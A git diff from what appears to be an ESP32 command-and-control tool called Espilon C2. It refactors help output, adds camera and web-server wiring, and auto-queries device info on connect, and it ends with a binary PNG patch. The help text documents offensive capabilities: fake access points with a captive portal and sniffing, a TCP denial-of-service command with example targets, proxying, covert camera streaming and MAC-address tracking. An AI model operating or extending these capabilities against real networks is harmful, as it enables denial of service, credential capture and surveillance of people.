self.help_manager.show_modules() + return - Display.error("Unknown command") + if action == "group": + self._handle_group(parts[1:]) + return + + if action == "send": + self._handle_send(parts) + return + + if action == "active_commands": + self._handle_active_commands() + return + + if action == "web": + self._handle_web(parts[1:]) + return + + if action == "camera": + self._handle_camera(parts[1:]) + return + + Display.error("Unknown command") # ================= HANDLERS ================= @@ -333,7 +343,8 @@ class CLI: self.web_server = UnifiedWebServer( device_registry=self.registry, mlat_engine=self.mlat_engine, - multilat_token=MULTILAT_AUTH_TOKEN + multilat_token=MULTILAT_AUTH_TOKEN, + camera_receiver=self.udp_receiver ) if self.web_server.start(): @@ -391,11 +402,16 @@ class CLI: self.udp_receiver = UDPReceiver( host=UDP_HOST, port=UDP_PORT, - image_dir=IMAGE_DIR + image_dir=IMAGE_DIR, + device_registry=self.registry ) if self.udp_receiver.start(): Display.system_message(f"Camera UDP receiver started on {UDP_HOST}:{UDP_PORT}") + # Update web server if running + if self.web_server and self.web_server.is_running: + self.web_server.set_camera_receiver(self.udp_receiver) + Display.system_message("Web server updated with camera receiver") else: Display.error("Camera UDP receiver failed to start") @@ -407,6 +423,9 @@ class CLI: self.udp_receiver.stop() Display.system_message("Camera UDP receiver stopped.") self.udp_receiver = None + # Update web server + if self.web_server and self.web_server.is_running: + self.web_server.set_camera_receiver(None) elif cmd == "status": Display.system_message("Camera UDP Receiver Status:") diff --git a/tools/c2/cli/help.py b/tools/c2/cli/help.py index 0cdccb4..326065b 100644 --- a/tools/c2/cli/help.py +++ b/tools/c2/cli/help.py @@ -54,6 +54,10 @@ class HelpManager: self.commands = command_registry self.dev_mode = dev_mode + def _out(self, text: str): + """Output helper that works in both CLI and TUI mode.""" + Display.system_message(text) + def show(self, args: list[str]): if args: self._show_command_help(args[0]) @@ -62,124 +66,128 @@ class HelpManager: def show_modules(self): """Show ESP commands organized by module.""" - Display.system_message("=== ESP32 COMMANDS BY MODULE ===\n") + self._out("=== ESP32 COMMANDS BY MODULE ===") + self._out("") for module_name, module_info in ESP_MODULES.items(): - print(f"\033[1;35m[{module_name.upper()}]\033[0m - {module_info['description']}") + self._out(f"[{module_name.upper()}] - {module_info['description']}") for cmd_name, cmd_desc in module_info["commands"].items(): - print(f" \033[36m{cmd_name:<12}\033[0m {cmd_desc}") - print() + self._out(f" {cmd_name:<20} {cmd_desc}") + self._out("") - print("\033[90mUse 'help ' for detailed help on a specific command.\033[0m") - print("\033[90mSend commands with: send [args...]\033[0m") + self._out("Use 'help ' for detailed help on a specific command.") + self._out("Send commands with: send [args...]") def _show_global_help(self): - Display.system_message("=== ESPILON C2 HELP ===") - print("\n\033[1mC2 Commands:\033[0m") - print(" \033[36mhelp\033[0m [command] Show help or help for a specific command") - print(" \033[36mlist\033[0m List connected ESP devices") - print(" \033[36mmodules\033[0m List ESP commands organized by module") - print(" \033[36msend\033[0m Send a command to ESP device(s)") - print(" \033[36mgroup\033[0m Manage device groups (add, remove, list, show)") - print(" \033[36mactive_commands\033[0m List currently running commands") - print(" \033[36mclear\033[0m Clear terminal screen") - print(" \033[36mexit\033[0m Exit C2") + self._out("=== ESPILON C2 HELP ===") + self._out("") + self._out("C2 Commands:") + self._out(" help [command] Show help or help for a specific command") + self._out(" list List connected ESP devices") + self._out(" modules List ESP commands organized by module") + self._out(" send Send a command to ESP device(s)") + self._out(" group Manage device groups (add, remove, list, show)") + self._out(" active_commands List currently running commands") + self._out(" clear Clear terminal screen") + self._out(" exit Exit C2") + self._out("") + self._out("Server Commands:") + self._out(" web start|stop|status Web dashboard server") + self._out(" camera start|stop|status Camera UDP receiver") + self._out("") + self._out("ESP Commands: (use 'modules' for detailed list)") - print("\n\033[1mServer Commands:\033[0m") - print(" \033[36mweb\033[0m start|stop|status Web dashboard server") - print(" \033[36mcamera\033[0m start|stop|status Camera UDP receiver") - - print("\n\033[1mESP Commands:\033[0m (use 'modules' for detailed list)") registered_cmds = self.commands.list() if registered_cmds: for name in registered_cmds: handler = self.commands.get(name) - print(f" \033[36m{name:<15}\033[0m {handler.description}") + self._out(f" {name:<15} {handler.description}") else: - print(" \033[90m(no registered commands - use 'send' with any ESP command)\033[0m") + self._out(" (no registered commands - use 'send' with any ESP command)") if self.dev_mode: - print("\n\033[33mDEV MODE:\033[0m Send arbitrary text: send ") + self._out("") + self._out("DEV MODE: Send arbitrary text: send ") def _show_command_help(self, command_name: str): # CLI Commands if command_name == "list": - Display.system_message("Help for 'list' command:") - print(" Usage: list") - print(" Description: Displays all connected ESP devices with ID, IP, status,") - print(" connection duration, and last seen timestamp.") + self._out("Help for 'list' command:") + self._out(" Usage: list") + self._out(" Description: Displays all connected ESP devices with ID, IP, status,") + self._out(" connection duration, and last seen timestamp.") elif command_name == "send": - Display.system_message("Help for 'send' command:") - print(" Usage: send > [args...]") - print(" Description: Sends a command to one or more ESP devices.") - print(" Examples:") - print(" send ESP_ABC123 reboot") - print(" send all wifi status") - print(" send group scanners mlat start AA:BB:CC:DD:EE:FF") + self._out("Help for 'send' command:") + self._out(" Usage: send > [args...]") + self._out(" Description: Sends a command to one or more ESP devices.") + self._out(" Examples:") + self._out(" send ESP_ABC123 reboot") + self._out(" send all wifi status") + self._out(" send group scanners mlat start AA:BB:CC:DD:EE:FF") elif command_name == "group": - Display.system_message("Help for 'group' command:") - print(" Usage: group [args...]") - print(" Actions:") - print(" add [id2...] Add devices to a group") - print(" remove [id2...] Remove devices from a group") - print(" list List all groups") - print(" show Show group members") + self._out("Help for 'group' command:") + self._out(" Usage: group [args...]") + self._out(" Actions:") + self._out(" add [id2...] Add devices to a group") + self._out(" remove [id2...] Remove devices from a group") + self._out(" list List all groups") + self._out(" show Show group members") elif command_name == "web": - Display.system_message("Help for 'web' command:") - print(" Usage: web ") - print(" Description: Control the web dashboard server.") - print(" Actions:") - print(" start Start the web server (dashboard, cameras, MLAT)") - print(" stop Stop the web server") - print(" status Show server status and MLAT engine info") - print(" Default URL: http://127.0.0.1:5000") + self._out("Help for 'web' command:") + self._out(" Usage: web ") + self._out(" Description: Control the web dashboard server.") + self._out(" Actions:") + self._out(" start Start the web server (dashboard, cameras, MLAT)") + self._out(" stop Stop the web server") + self._out(" status Show server status and MLAT engine info") + self._out(" Default URL: http://127.0.0.1:5000") elif command_name == "camera": - Display.system_message("Help for 'camera' command:") - print(" Usage: camera ") - print(" Description: Control the camera UDP receiver.") - print(" Actions:") - print(" start Start UDP receiver for camera frames") - print(" stop Stop UDP receiver") - print(" status Show receiver stats (packets, frames, errors)") - print(" Default port: 12345") + self._out("Help for 'camera' command:") + self._out(" Usage: camera ") + self._out(" Description: Control the camera UDP receiver.") + self._out(" Actions:") + self._out(" start Start UDP receiver for camera frames") + self._out(" stop Stop UDP receiver") + self._out(" status Show receiver stats (packets, frames, errors)") + self._out(" Default port: 12345") elif command_name == "modules": - Display.system_message("Help for 'modules' command:") - print(" Usage: modules") - print(" Description: List all ESP32 commands organized by module.") - print(" Modules: system, network, fakeap, recon") + self._out("Help for 'modules' command:") + self._out(" Usage: modules") + self._out(" Description: List all ESP32 commands organized by module.") + self._out(" Modules: system, network, fakeap, recon") elif command_name in ["clear", "exit", "active_commands"]: - Display.system_message(f"Help for '{command_name}' command:") - print(f" Usage: {command_name}") + self._out(f"Help for '{command_name}' command:") + self._out(f" Usage: {command_name}") descs = { "clear": "Clear the terminal screen", "exit": "Exit the C2 application", "active_commands": "Show all commands currently being executed" } - print(f" Description: {descs.get(command_name, '')}") + self._out(f" Description: {descs.get(command_name, '')}") # ESP Commands (by module or registered) else: # Check in modules first for module_name, module_info in ESP_MODULES.items(): if command_name in module_info["commands"]: - Display.system_message(f"ESP Command '{command_name}' [{module_name.upper()}]:") - print(f" Description: {module_info['commands'][command_name]}") + self._out(f"ESP Command '{command_name}' [{module_name.upper()}]:") + self._out(f" Description: {module_info['commands'][command_name]}") self._show_esp_command_detail(command_name) return # Check registered commands handler = self.commands.get(command_name) if handler: - Display.system_message(f"ESP Command '{command_name}':") - print(f" Description: {handler.description}") + self._out(f"ESP Command '{command_name}':") + self._out(f" Description: {handler.description}") if hasattr(handler, 'usage'): - print(f" Usage: {handler.usage}") + self._out(f" Usage: {handler.usage}") else: Display.error(f"No help available for '{command_name}'.") @@ -187,104 +195,101 @@ class HelpManager: """Show detailed help for specific ESP commands.""" details = { # MLAT subcommands - "mlat config": """ - Usage: send mlat config [gps|local] - GPS mode: mlat config gps - degrees - Local mode: mlat config local - meters - Examples: - send ESP1 mlat config gps 48.8566 2.3522 - send ESP1 mlat config local 10.0 5.5 - send ESP1 mlat config 48.8566 2.3522 (backward compat: GPS)""", - - "mlat mode": """ - Usage: send mlat mode - Example: send ESP1 mlat mode ble""", - - "mlat start": """ - Usage: send mlat start - Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF""", - - "mlat stop": """ - Usage: send mlat stop""", - - "mlat status": """ - Usage: send mlat status""", - - # Camera commands - "cam_start": """ - Usage: send cam_start - Description: Start camera streaming to C2 UDP receiver - Example: send ESP_CAM cam_start 192.168.1.100 12345""", - - "cam_stop": """ - Usage: send cam_stop - Description: Stop camera streaming""", - - # FakeAP commands - "fakeap_start": """ - Usage: send fakeap_start [open|wpa2] [password] - Examples: - send ESP1 fakeap_start FreeWiFi - send ESP1 fakeap_start SecureNet wpa2 mypassword""", - - "fakeap_stop": """ - Usage: send fakeap_stop""", - - "fakeap_status": """ - Usage: send fakeap_status - Shows: AP running, portal status, sniffer status, client count""", - - "fakeap_clients": """ - Usage: send fakeap_clients - Lists all connected clients to the fake AP""", - - "fakeap_portal_start": """ - Usage: send fakeap_portal_start - Description: Enable captive portal (requires fakeap running)""", - - "fakeap_portal_stop": """ - Usage: send fakeap_portal_stop""", - - "fakeap_sniffer_on": """ - Usage: send fakeap_sniffer_on - Description: Enable packet sniffing""", - - "fakeap_sniffer_off": """ - Usage: send fakeap_sniffer_off""", - - # Network commands - "ping": """ - Usage: send ping - Example: send ESP1 ping 8.8.8.8""", - - "arp_scan": """ - Usage: send arp_scan - Description: Scan local network for hosts""", - - "proxy_start": """ - Usage: send proxy_start - Example: send ESP1 proxy_start 192.168.1.100 8080""", - - "proxy_stop": """ - Usage: send proxy_stop""", - - "dos_tcp": """ - Usage: send dos_tcp - Example: send ESP1 dos_tcp 192.168.1.100 80 1000""", - - # System commands - "system_reboot": """ - Usage: send system_reboot - Description: Reboot the ESP32 device""", - - "system_mem": """ - Usage: send system_mem - Shows: heap_free, heap_min, internal_free""", - - "system_uptime": """ - Usage: send system_uptime - Shows: uptime in days/hours/minutes/seconds""" + "mlat config": [ + " Usage: send mlat config [gps|local] ", + " GPS mode: mlat config gps - degrees", + " Local mode: mlat config local - meters", + " Examples:", + " send ESP1 mlat config gps 48.8566 2.3522", + " send ESP1 mlat config local 10.0 5.5", + ], + "mlat mode": [ + " Usage: send mlat mode ", + " Example: send ESP1 mlat mode ble", + ], + "mlat start": [ + " Usage: send mlat start ", + " Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF", + ], + "mlat stop": [ + " Usage: send mlat stop", + ], + "mlat status": [ + " Usage: send mlat status", + ], + "cam_start": [ + " Usage: send cam_start ", + " Description: Start camera streaming to C2 UDP receiver", + " Example: send ESP_CAM cam_start 192.168.1.100 12345", + ], + "cam_stop": [ + " Usage: send cam_stop", + " Description: Stop camera streaming", + ], + "fakeap_start": [ + " Usage: send fakeap_start [open|wpa2] [password]", + " Examples:", + " send ESP1 fakeap_start FreeWiFi", + " send ESP1 fakeap_start SecureNet wpa2 mypassword", + ], + "fakeap_stop": [ + " Usage: send fakeap_stop", + ], + "fakeap_status": [ + " Usage: send fakeap_status", + " Shows: AP running, portal status, sniffer status, client count", + ], + "fakeap_clients": [ + " Usage: send fakeap_clients", + " Lists all connected clients to the fake AP", + ], + "fakeap_portal_start": [ + " Usage: send fakeap_portal_start", + " Description: Enable captive portal (requires fakeap running)", + ], + "fakeap_portal_stop": [ + " Usage: send fakeap_portal_stop", + ], + "fakeap_sniffer_on": [ + " Usage: send fakeap_sniffer_on", + " Description: Enable packet sniffing", + ], + "fakeap_sniffer_off": [ + " Usage: send fakeap_sniffer_off", + ], + "ping": [ + " Usage: send ping ", + " Example: send ESP1 ping 8.8.8.8", + ], + "arp_scan": [ + " Usage: send arp_scan", + " Description: Scan local network for hosts", + ], + "proxy_start": [ + " Usage: send proxy_start ", + " Example: send ESP1 proxy_start 192.168.1.100 8080", + ], + "proxy_stop": [ + " Usage: send proxy_stop", + ], + "dos_tcp": [ + " Usage: send dos_tcp ", + " Example: send ESP1 dos_tcp 192.168.1.100 80 1000", + ], + "system_reboot": [ + " Usage: send system_reboot", + " Description: Reboot the ESP32 device", + ], + "system_mem": [ + " Usage: send system_mem", + " Shows: heap_free, heap_min, internal_free", + ], + "system_uptime": [ + " Usage: send system_uptime", + " Shows: uptime in days/hours/minutes/seconds", + ], } if cmd in details: - print(details[cmd]) + for line in details[cmd]: + self._out(line) diff --git a/tools/c2/core/device.py b/tools/c2/core/device.py index 0602635..c9723c6 100644 --- a/tools/c2/core/device.py +++ b/tools/c2/core/device.py @@ -14,7 +14,11 @@ class Device: connected_at: float = field(default_factory=time.time) last_seen: float = field(default_factory=time.time) - status: str = "Connected" # New status field + status: str = "Connected" + + # System info (populated by auto system_info query) + chip: str = "" + modules: str = "" def touch(self): """ diff --git a/tools/c2/core/transport.py b/tools/c2/core/transport.py index 33fef6a..4f1240d 100644 --- a/tools/c2/core/transport.py +++ b/tools/c2/core/transport.py @@ -64,6 +64,7 @@ class Transport: # ================================================== def _dispatch(self, sock, addr, msg: AgentMessage): device = self.registry.get(msg.device_id) + is_new_device = False if not device: device = Device( @@ -73,11 +74,63 @@ class Transport: ) self.registry.add(device) Display.device_event(device.id, f"Connected from {addr[0]}") + is_new_device = True else: + # Device reconnected with new socket - update connection info + if device.sock != sock: + try: + device.sock.close() + except Exception: + pass + device.sock = sock + device.address = addr + Display.device_event(device.id, f"Reconnected from {addr[0]}:{addr[1]}") device.touch() self._handle_agent_message(device, msg) + # Auto-query system_info on new device connection + if is_new_device: + self._auto_query_system_info(device) + + def _auto_query_system_info(self, device: Device): + """Send system_info command automatically when device connects.""" + try: + cmd = Command() + cmd.device_id = device.id + cmd.command_name = "system_info" + cmd.request_id = f"auto-sysinfo-{device.id}" + self.send_command(device.sock, cmd) + except Exception as e: + Display.error(f"Auto system_info failed for {device.id}: {e}") + + def _parse_system_info(self, device: Device, payload: str): + """Parse system_info response and update device info.""" + # Format: chip=esp32 cores=2 flash=external heap=4310096 uptime=7s modules=network,fakeap + try: + for part in payload.split(): + if "=" in part: + key, value = part.split("=", 1) + if key == "chip": + device.chip = value + elif key == "modules": + device.modules = value + + # Notify TUI about device info update + Display.device_event(device.id, f"INFO: {payload}") + + # Send special message to update TUI title + from utils.display import Display as Disp + if Disp._tui_mode: + from tui.bridge import tui_bridge, TUIMessage, MessageType + tui_bridge.post_message(TUIMessage( + msg_type=MessageType.DEVICE_INFO_UPDATED, + device_id=device.id, + payload=device.modules + )) + except Exception as e: + Display.error(f"Failed to parse system_info: {e}") + # ================================================== # AGENT MESSAGE HANDLER # ================================================== @@ -90,13 +143,20 @@ class Transport: payload_str = repr(msg.payload) if msg.type == AgentMsgType.AGENT_CMD_RESULT: - if msg.request_id and self.cli: + # Check if this is auto system_info response + if msg.request_id and msg.request_id.startswith("auto-sysinfo-"): + self._parse_system_info(device, payload_str) + elif msg.request_id and self.cli: self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof) else: Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}") elif msg.type == AgentMsgType.AGENT_INFO: + # Check for system_info response (format: chip=... modules=...) + if "chip=" in payload_str and "modules=" in payload_str: + self._parse_system_info(device, payload_str) + return # Check for MLAT data (format: MLAT:x;y;rssi) - if payload_str.startswith("MLAT:") and self.cli: + elif payload_str.startswith("MLAT:") and self.cli: mlat_data = payload_str[5:] # Remove "MLAT:" prefix if self.cli.mlat_engine.parse_mlat_message(device.id, mlat_data): # Recalculate position if we have enough scanners diff --git a/tools/c2/static/images/no-signal.png b/tools/c2/static/images/no-signal.png new file mode 100644 index 0000000000000000000000000000000000000000..87290fdcb88192a8501397dc788fa911000bfe43 GIT binary patch literal 18232 zcmV)kK%l>gP)004R>004l5008;`004mK004C`008P>0026e000+ooVrmw00009 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 